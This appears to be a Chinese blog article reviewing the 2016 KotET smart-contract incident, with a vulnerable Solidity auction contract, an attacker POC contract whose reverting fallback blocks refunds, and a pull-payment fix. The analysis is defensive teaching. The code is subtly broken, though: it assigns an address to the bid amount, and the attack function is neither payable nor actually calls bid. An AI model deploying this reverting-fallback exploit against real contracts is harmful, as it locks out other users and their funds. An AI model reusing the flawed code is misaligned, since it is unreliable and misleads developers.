天天看點

智能合約安全事故回顧(3)-DOS漏洞導緻的KotET事件

現實世界中的網絡都是有帶寬限制的,想象一下,一個通路量穩定的網站,突然有人利用某種方式爆發式的将網站的通路量提升,這個時候系統會作何反應?如果系統沒有合理的防DOS攻擊的方式,這種時候往往會造成伺服器癱瘓/崩潰。

DOS,即Denial of Service,拒絕服務。造成伺服器拒絕服務的攻擊被稱為DOS攻擊。早在區塊鍊之前,網際網路世界就存在的一種攻擊方式。在智能合約中,往往有一部分函數的執行是依賴于外部調用的結果,這種情況下又沒有對外部傳回的結果做嚴格控制,比如外部長期不傳回或者傳回結果非預期的處理。這種情況就有可能産生一些安全事故。本文介紹的就是由Dos攻擊導緻的KotET安全漏洞事件。

事件介紹

KotET是一個區塊鍊遊戲的簡稱,遊戲中設立了一個“王位”,玩家通過發送ether給智能合約參與對王位的競選。如果A出價10ETH獲得“王位”後,B在出價20ETH,那麼合約會将10ETH傳回給A,将王位轉移給B。然而在2016年2月6日至8日期間,許多玩家發現無論發送多少的eth給合約來競争王位都不能成功。

漏洞原因

先看一下合約的源碼:

pragma solidity ^0.4.22;
​
contract Auction {
    address public currentLeader;
    uint256 public highestBid;
    
    function bid() public payable{  //競選方法
        require(msg.value >  highestBid); //判斷目前投入eth是否大于之前的最大值
        require(currentLeader.send(highestBid));//如果大于 把原有的王位擁有者的金錢退回
        currentLeader =msg.sender; //當選新的國王
        highestBid =currentLeader;
    }
}      

這是一段非常簡單的合約代碼,邏輯筆者都已經注釋。接下來講一下黑客的思路:因為bid方法首先判斷了金額的大小,滿足條件以後先将上一個“國王”退位,在指派新的“國王”。那麼如果上一個國王一直不退位,是不是就可以一直沒有新的國王當選呢?

在看一下黑客的攻擊代碼:

interface Auction{  //定義原有接口 友善調用
    function bid() external payable; 
}
contract POC{  //定義攻擊合約
    address owner;
    Auction auInstance;   
    constructor() public{
        owner =msg.sender;
    }
    modifier onlyOwner(){
        require(owner == msg.sender);
        _;
    }
    function setInstance(address addr) public onlyOwner{  //執行個體化指定合約
        auInstance =Auction(addr);
    }
    function attack() public onlyOwner{ //攻擊方法
        auInstance.bid.value(msg.value);
    }
    function () external payable{ //合約預設回調
        revert();
    }
}      

上述的代碼中,攻擊者申明了一個POC合約,在合約中定義了一個攻擊方法。順着這個方法的思路:

1.攻擊者首先調用Auction 執行個體化的合約,然後調用合約的bid方法,傳遞一定量的ether。首先攻擊者要滿足:require(msg.value > highestBid);這樣攻擊者建立的這個合約位址會當選為國王。

2.當有其他玩家入場,發送了多于上一次數量的ether以後,那麼正常流程的話合約的bid方法的第二步會調用POC合約的send方法退回金額,然後讓攻擊者退位。但是攻擊者早就準備就緒。當send方法調用時首先會調用POC合約的回調函數,回調函數的實作内容是revert()函數,也就說無論結果如何都執行不成功。那麼就導緻了require(currentLeader.send(highestBid))執行時永遠不會成功,是以其他競争者無論投入多少eth伺服器都會沒有響應。這就完成了一次DOS攻擊。

防範

這種攻擊能實作的主要原因還是因為合約的實作過程中把方法的調用結果交由外部的傳回結果來控制。這就為很多攻擊留下了隐患。是以我們在思考如何防範的時候應該思考的是化被動為主動,可以在合約中建立一個mapping,每個使用者可以退的金額多少存儲在mapping中,由使用者自己主動去請求合約來實作金額的退回。

其實在筆者的角度來看,DOS攻擊在網際網路的世界中其實是沒有辦法完全避免的,隻能通過一定的手段來防護。降低這種攻擊帶來的危害。